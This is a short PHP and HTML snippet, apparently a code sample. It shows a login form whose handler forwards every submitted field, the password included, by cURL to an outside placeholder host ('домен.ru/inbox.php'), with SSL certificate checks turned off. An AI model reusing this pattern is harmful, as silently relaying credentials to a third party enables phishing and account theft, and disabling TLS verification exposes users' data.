<form method="post" action="/index.php">
<div>
<label>Email address</label>
<input type="email" name="email" placeholder="Enter email">
</div>
<div>
<label>Password</label>
<input type="password" name="password" placeholder="Password">
</div>
<div>
<input type="checkbox" name="check"> Check me out
</div>
<div>
<button type="submit" name="submit">Submit</button>
<div>
</form>
<?php
if (isset($_POST['submit'])) {
$ch = curl_init('https://домен.ru/inbox.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($_POST, '', '&'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, false);
$html = curl_exec($ch);
curl_close($ch);
echo $html;
}